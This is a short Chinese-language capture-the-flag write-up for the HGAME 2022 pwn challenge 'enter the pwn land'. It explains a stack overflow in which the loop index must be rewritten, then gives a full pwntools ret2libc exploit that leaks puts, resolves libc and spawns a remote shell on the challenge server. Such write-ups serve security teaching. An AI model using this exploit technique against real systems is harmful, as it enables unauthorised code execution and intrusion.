【pwn】[HGAME 2022 week1]enter the pwn land --数组下标修改,栈溢出
查保护
然后ida看代码逻辑
来到关键函数,这里存在栈溢出漏洞,但是这是数组循环一个字节读入,我们看一下i的地址
发现i的地址在rbp上面,所以我们构造payload肯定会把i的值给覆盖了,所以payload在构造时需要修改一下i的值,让我们的payload继续读入到正确位置,然后就是简单的ret2libc
exp:
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node5.anna.nssctf.cn",28093)
elf=ELF("./pwn")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
rdi=0x401313
ret=0x40101a
main_addr=elf.sym['main']
payload=b'a'*44+p32(44)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
system_addr=base+libc.dump('system')
str=base+libc.dump('str_bin_sh')
payload2=b'a'*44+p32(44)+b'a'*8+p64(ret)+p64(rdi)+p64(str)+p64(system_addr)
io.sendline(payload2)
io.interactive()